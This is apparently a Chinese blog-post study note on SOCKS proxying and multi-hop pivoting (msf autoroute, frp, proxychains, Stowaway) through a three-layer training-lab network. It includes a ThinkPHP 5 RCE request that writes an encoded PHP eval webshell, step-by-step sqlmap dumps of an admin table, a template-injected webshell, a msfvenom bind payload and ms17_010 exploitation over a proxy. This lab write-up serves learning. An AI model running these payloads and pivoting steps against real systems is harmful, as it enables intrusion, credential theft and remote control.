Socks代理

socks简介

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。 根据OSI模型,SOCKS是会话层的协议,位于表示层与传输层之间。 使用TCP协议传输数据,因而不提供如传递 ICMP 信息之类的网络层网关服务

由于socks是会话层的代理,不提供ICMP的代理,所以ping 是代理不了的

socks代理

  1. 被代理端与代理服务器通过 SOCKS4/5 代理协议进行通讯;
  2. SOCKS4:是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有 协议限制;
  3. SOCKS4a:SOCKS4协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问
  4. SOCKS5:SOCKS5比SOCKS4a多了身份验证、IPv6、UDP支持。创建与SOCKS5服务器的TCP连接后 客户端需要先发送请求来确认协议版本及认证方式

使用socks代理

  1. SOCKS服务器的IP地址
  2. SOCKS服务所在端口
  3. SOCKS服务是否需要身份验证

相关工具

EarthWorm

http://rootkiter.com/EarthWorm/

EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

image-20240125095256134

这个图就是渗透测试的路径,我们的目的就是需要达到受限区域

FRP

https://github.com/fatedier/frp

FRP 是一个可用于内网穿透的高性能的反向代理应用

ProxyChains

http://proxychains.sourceforge.net/

这个工具也是在渗透中比较常用的

Proxifier

https://www.proxifier.com/

Proxifier 是一个程序,它允许不支持通过代理服务器工作的网络应用程序通过 SOCKS 或 HTTPS代理或代理服务器链进行操作。

Stowaway

用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并 轻松实现管理功能

一个三层内网的渗透过程

信息收集

由于教学我们知道了他的ip

192.168.79.140

然后尝试扫描端口

image-20240125105930204

发现80端口,尝试目录扫描

image-20240125110018111

一个一个访问

image-20240125110046964

一个宝塔的欢迎页面

image-20240125110117028

发现thinkphp

Web渗透

thinkphp rce

搜索相关漏洞

thinkphp 5-rce版本漏洞复现(超详细版)_thinkphp 漏洞扫描-CSDN博客

http://192.168.79.140/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

image-20240125110348901

发现rce漏洞

写入webshell

写入经过url编码的一句话木马

/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e

image-20240125110621769

连接

image-20240125110747173

上线msf

首先看一下是什么平台

image-20240125120712888

image-20240125120817703

生成payload

image-20240125121218791

上传到linux

获取session

image-20240125121509645

搭建代理

进入session

1
2
3
4
run autoroute -s 192.168.22.1/24
# 看是否有路由
run autoroute -p
bg

开启代理

1
2
 use socks_proxy
run

image-20240125134417585

成功代理

由于会产生大量的连接,所以会出现session掉线的情况,需要重新上线

尝试存活主机探测

image-20240125160830291

不给我探测,烦人捏

bash反弹一个shell

上传fscan 进行存活主机探测

image-20240125160913460

还发现了ssh 弱密码

假装没发现,这个应该是用于靶场建设的

发现了存活主机

但是先测试代理

测试代理

image-20240125162926936

好好好,sql注入是吧,先放一下

发现192.168.22.22开放了80端口,对其进行扫描

image-20240125161402430

发现一个

image-20240125162456033

image-20240125162806959

尝试Sql注入

直接使用sqlmap

image-20240125163200850

使用钱前面提到的

image-20240125163454625

隧道炸了转手注

image-20240125165404549

得到了

账号:

admin 123qwe

image-20240125170233509

然后通过收集到的信息,进行模板注入,写入sehll,上传正向payload

然后等待连接,连接过来了

msf 代理总结

尝试从头开始

三层cfs - AU9U5T (tsy244.github.io)

frp

介绍

frp/README_zh.md at dev · fatedier/frp (github.com)

文档 | frp (gofrp.org)

socks代理

socks5代理在frp 里面使用。需要设置plugin 插件为socks5

下面是使用过程,还是使用昨天的三层cfs

server

server这个部分我们只需要设置端口就可以了

image-20240126100811821

添加执行权限,使用-c指定执行文件

image-20240126101454569

client

先通过,得到的web shell上传文件

image-20240126100518460

为了方便起见,还是上传已经编辑好了的配置文件

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.79.138
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 10088

image-20240126101703163

执行

image-20240126102135352

image-20240126102138287

上传之后就来了

然后修改proxychains

image-20240126102435686

image-20240126102504460

优点

  1. 快很多,稳定很多

尝试使用frp 代理

使用Sqlmap

1
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword

image-20240126103506856

-p 指定爆破参数

注意:

  1. 指定爆破的参数不能为空

image-20240126103607227

发现漏洞,进行爆破数据库

添加参数--dbs

1
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword --dbs

image-20240126103654608

使用-D指定数据库,经行爆破表--tables

1
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms --tables

image-20240126103819005

使用-T 指定表名,使用--columns爆破字段名

1
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin --columns

image-20240126104016094

使用-C进行指定字段名 --dump进行获取字段的值

1
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump

image-20240126104357331

得到hash和密码123qwe

192.168.22.22

回顾一下,这个有一个80端口服务,然后在frp代理之下尝试扫描目录
通过搜素获取

路径

1
http://192.168.22.22/index.php?r=admini/default/index

使用

admin 123qwe

image-20240126121118329

通过搜素,得到有一个模板注入的地方

image-20240126121147699

通过修改php文件内容(添加一句话木马)

image-20240126131821197

进行访问,使用之前的index.php?添加参数的形式

image-20240126132343025

使用蚁剑连接,但是直接连接是连接不上的,我们必须使用代理的方式

重新开启一个antsword

image-20240126132754450

image-20240126132746418

上传一个msf正向Shell

生成一个paylaod

1
msfvenom -p linux/x64/meterpreter/bind_tcp -f elf > linux_x64_bind_tcp.elf

…….尝试失败,msf好像在代理方面确认不是很擅长

现在有三个方法

msf autoroute

这个方法稳定性极差

frp

我们已经连接上了这台主机,我们给192.168.22.11(还有nat网卡 target1)做一个端口转发

也就是说target 针对于kali是client,针对于192.168.22.22是server

先把之前的停了,然后给target1配置端口转发

kali

server不需要修改

1
2
[common]
bind_port = 7000

target1

server

1
2
3
[common]
bind_port = 7000

client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = 47.101.214.85
server_port = 7000

[socks5_1]
type = tcp
remote_port = 10801
plugin = socks5

[socks5_to_33]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090

taget2

client

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.22.11
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 10089

由于taget2需要代理,所以先开启target的client

image-20240126140459448

target1 开启Server

测试

修改文件

image-20240126141255288

image-20240126141306069

image-20240126143753337

测试通过(这个是测试,所以直接使用吗,账户和密码)

192.168.33.33

通过信息收集发现开放了445

那就使用msf ms17_010 进行测试,由于代理很容易断掉,解决这个问题有两个办法

  1. 抓紧时机
  2. 掉了重连

下面是使用

1
2
search ms17_010
exploit/windows/smb/ms17_010_psexec

image-20240126145023790

image-20240126145219570

image-20240126145241471

设置代理

1
advanced

查看高级设置

image-20240126145514198

1
2
set proxies socks5:47.101.214.85:1888
# setg proxies socks5:47.101.214.85:1888 设置全局的代理

image-20240126145841633

image-20240126150010050

获取sessions

这个三层cfs就算利用完了

Stowaway

这个多级代理更加合适

ph4ntonn/Stowaway: 👻Stowaway – Multi-hop Proxy Tool for pentesters (github.com)

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具

用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能

使用方法

admin

admin 用法

1
2
3
4
5
6
7
8
9
>> ./stowaway_admin -l  <port> -s [secret]  

>> ./stowaway_admin -c <ip:port> -s [secret]

>> ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --pro xyp [password]

>> ./stowaway_admin -c <ip:port> -s [secret] --rhostreuse

>> ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password] --rhostreuse

admin参数

1
2
3
4
5
6
7
8
9
10
11
-l 被动模式下的监听地址 [ip]:<port>  

-s 节点通信加密密钥,所有节点(admin&&agent)必须一致

-c 主动模式下的目标节点地址

--proxy socks5代理服务器地址

--proxyu socks5代理服务器用户名(可选) --proxyp socks5代理服务器密码(可选)

--down 下游协议类型,默认为裸TCP流量,可选HTTP

admin 主 panel 选项:

就是进入节点之后的选项

1
2
3
4
5
6
(admin) >> help
help 显示帮助信息
detail 展示在线节点的详细信息
topo 展示在线节点的父子关系
use <id> 选择你要使用的目标节点
exit 退出 Stowaway

admin node panel 选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(node 0) >> help
help 显示帮助信息
listen 开始监听当前节点的端口
addmemo <string> 为当前节点添加备忘录
delmemo 删除当前节点的备忘录
ssh <ip:port> 通过当前节点启动SSH
shell 在当前节点上启动一个交互式外壳
socks <lport> [username] [pass] 启动一个socks5服务器
stopsocks 关闭socks服务
connect <ip:port> 连接到一个新节点
sshtunnel <ip:sshport> <agent port> 使用sshtunnel将节点添加到我们的拓扑结构中
upload <local filename> <remote filename> 上传文件到当前节点
download <remote filename> <local filename> 从当前节点下载文件
forward <lport> <ip:port> 转发本地端口到特定的远程 ip:port
stopforward 关闭转发服务
backward <rport> <lport> 将远程端口(agent)后退到本地端口(admin)。
stopbackward 关闭backward服务
shutdown 终止当前节点
back 返回到父面板
exit 退出Stowaway

agent

agent 参数

1
2
3
4
5
6
7
8
9
10
11
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP

使用实例

server 也就是我现在的攻击机

1
2
chmod +x admin
./admin -l 8987 -s hack

-l 监听,也就是等待被连接,有点像反向shell

image-20240126160036239

上传agent到target1(要被这三兄弟恶心吐了….)

target1

1
./agent -c 192.168.79.138 -s hack

admin节点发生变化

image-20240126160743086

查看所有的节点

1
2
3
topo 
use 1 # 使用对应的节点
socks port

image-20240126160948984

image-20240126161040374

然后再连着代理的情况下将agent 上传到target2

对于tartget2 -> target1

有两种方法

  1. target1 监听 target2 主动连接
  2. target2 监听 target1 主动连接

方法一:

对于已经连接agent的操作,必须在admin上操作

image-20240126161547619

image-20240126161627747

来了

方法二

image-20240126161947360

image-20240126162105634

这里有两个target2是因为链接了两次

开启node2的代理

image-20240126162241274

测试

image-20240126162402382

嗯….这个稳定很多很多

总结

  1. 课程总结

    简单的把socks代理学了,还有很长的路要走

    Socks代理感觉更加推荐stowaway,但是也有专门针对渗透测试的frp

  2. 反向payload 会绕过防火墙

    但是正向payload 必须把防火墙关闭


Socks代理
https://tsy244.github.io/2024/01/25/渗透/Socks代理/
Author
August Rosenberg
Posted on
January 25, 2024
Licensed under